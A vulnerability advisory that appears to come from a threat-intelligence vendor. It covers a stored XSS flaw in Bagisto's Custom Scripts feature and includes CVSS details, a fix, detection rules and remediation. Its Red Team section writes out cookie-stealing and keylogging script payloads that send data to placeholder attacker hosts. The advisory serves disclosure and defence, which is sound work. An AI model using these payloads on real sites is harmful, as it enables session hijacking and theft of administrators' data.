CVE-2026-6745
Executive Summary
CVE-2026-6745 is a stored Cross-Site Scripting (XSS) vulnerability in the Bagisto e-commerce platform, affecting versions up to and including 2.3.15. The flaw resides in the Custom Scripts Handler component, allowing an authenticated attacker with low privileges to inject arbitrary JavaScript into the application. This script executes in the context of any administrator who views the affected page, potentially leading to session hijacking, data exfiltration, or administrative account takeover. The vulnerability has a CVSS score of 3.5 (Low), but the public availability of exploit details elevates the risk for unpatched instances. No official patch is currently available; the vendor has acknowledged the issue and plans to address it in a future release.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Bagisto is a PHP-based e-commerce platform distributed via Composer. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Bagisto should verify their deployment version and monitor the official repository for security updates. No malicious packages or compromised dependencies have been identified in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Base Score: 3.5 (Low)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must have a valid user account with access to the Custom Scripts feature.
- User Interaction: Required (UI:R) – an administrator must view the malicious script.
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – script injection can modify page content.
- Availability Impact: None (A:N)
Threat Level: Low, but elevated due to public exploit availability. The requirement for user interaction and low privileges reduces the immediate risk, but the potential for privilege escalation via admin session hijacking makes this a significant concern for unpatched systems.
Deep Dive & Mechanics
The vulnerability is located in the Custom Scripts Handler component of Bagisto. This feature allows authenticated users to inject custom JavaScript or CSS snippets into the storefront for analytics, tracking, or styling purposes. The flaw arises from insufficient sanitization of user-supplied script content before it is stored and later rendered in the administrative panel.
Attack Flow:
- An attacker with a low-privileged account (e.g., a salesperson or content manager) navigates to the Custom Scripts section.
- The attacker injects a malicious JavaScript payload, such as
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>. - The payload is stored in the database without proper encoding or validation.
- When an administrator views the Custom Scripts list or settings page, the malicious script executes in their browser.
- The attacker can then steal the admin's session cookie, perform actions on their behalf, or exfiltrate sensitive data.
Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) when rendering the script content in the admin interface. This allows stored XSS to trigger.
Vulnerable vs. Patched Code
The vulnerable code likely resides in a Blade template or PHP controller that outputs the custom script content without escaping. A typical vulnerable snippet might look like:
// Vulnerable: Direct output without escaping
echo $customScript->content;
The patched version should use Laravel's {{ }} Blade syntax or e() helper to escape output:
// Patched: Escaped output
echo e($customScript->content);
Or in Blade:
{{ $customScript->content }}
Since no official patch is available, the above represents the expected fix. Organizations should apply this change manually if they cannot wait for the vendor's release.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid low-privileged user account on a Bagisto instance (version ≤ 2.3.15).
- Access to the Custom Scripts feature (typically under Settings > Custom Scripts).
Exploitation Steps:
- Log in to Bagisto with the low-privileged account.
- Navigate to the Custom Scripts section.
- Create a new script with the following payload:
<script> fetch('https://attacker-controlled-server.com/steal?cookie=' + document.cookie); </script> - Save the script.
- Wait for an administrator to view the Custom Scripts list. The script executes automatically.
- Capture the admin's session cookie from your server logs.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/keylog?key=' + e.key);
};
</script>
Blue Team
Detection & Prevention:
- Input Validation: Implement strict validation on the Custom Scripts input field. Allow only known-safe patterns (e.g., specific tracking codes) and reject any HTML or JavaScript.
- Output Encoding: Ensure all user-supplied content is HTML-entity encoded when rendered in the admin panel. Use Laravel's
{{ }}syntax. - Content Security Policy (CSP): Deploy a strict CSP header that blocks inline scripts and only allows scripts from trusted sources.
- Web Application Firewall (WAF): Create rules to block common XSS payloads in the Custom Scripts endpoint.
- Session Hardening: Set
HttpOnlyandSecureflags on cookies to prevent JavaScript access. - Audit Logs: Monitor for unusual script creation or modification events in the Custom Scripts section.
Lab Setup:
- Deploy a vulnerable Bagisto instance (version 2.3.15) using Docker:
docker run -d -p 80:80 bagisto/bagisto:2.3.15 - Create a low-privileged user and an admin user.
- Log in as the low-privileged user and inject the XSS payload.
- Log in as the admin and observe the script execution.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the Bagisto server.
- Suspicious
POSTorGETrequests to/admin/custom-scriptswith JavaScript payloads.
- File System:
- Modified or newly created files in
storage/logs/laravel.logcontaining XSS payloads.
- Modified or newly created files in
- Database:
- Entries in the
custom_scriptstable containing<script>tags oronerror/onloadevent handlers.
- Entries in the
- Logs:
- Web server logs showing requests to
/admin/custom-scriptswithscriptin the request body. - Application logs with errors related to script execution.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2026_6745_Bagisto_XSS {
meta:
description = "Detects stored XSS payloads in Bagisto custom scripts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-6745"
strings:
$xss_payload = /<script[\s>].*?<\/script>/is
$event_handler = /on\w+\s*=\s*["']?javascript:/is
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Bagisto Custom Scripts Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Bagisto custom scripts
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/custom-scripts'
cs-uri-query|contains: 'script'
condition: selection
falsepositives:
- Legitimate use of JavaScript for analytics (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-6745 Bagisto Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/custom-scripts"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Custom Scripts Feature: If not essential, disable the Custom Scripts functionality in the admin panel or via configuration.
- Apply Manual Patch: Modify the Blade template that renders custom scripts to use escaped output (
{{ }}instead of{!! !!}). - Restrict User Permissions: Remove the ability to create custom scripts from low-privileged roles. Only allow super-admins to manage scripts.
- Implement CSP: Add a Content Security Policy header that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Long-Term Fix:
- Upgrade to the patched version once released by the vendor (expected in upcoming releases).
- Conduct a code review of all user-input handling in the application.
- Implement automated security testing (SAST/DAST) in the CI/CD pipeline.
Workaround:
- Use a WAF to block requests containing
<script>in the Custom Scripts endpoint. - Monitor logs for suspicious activity and respond promptly.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 78754842195779EB6F3B26C8] */}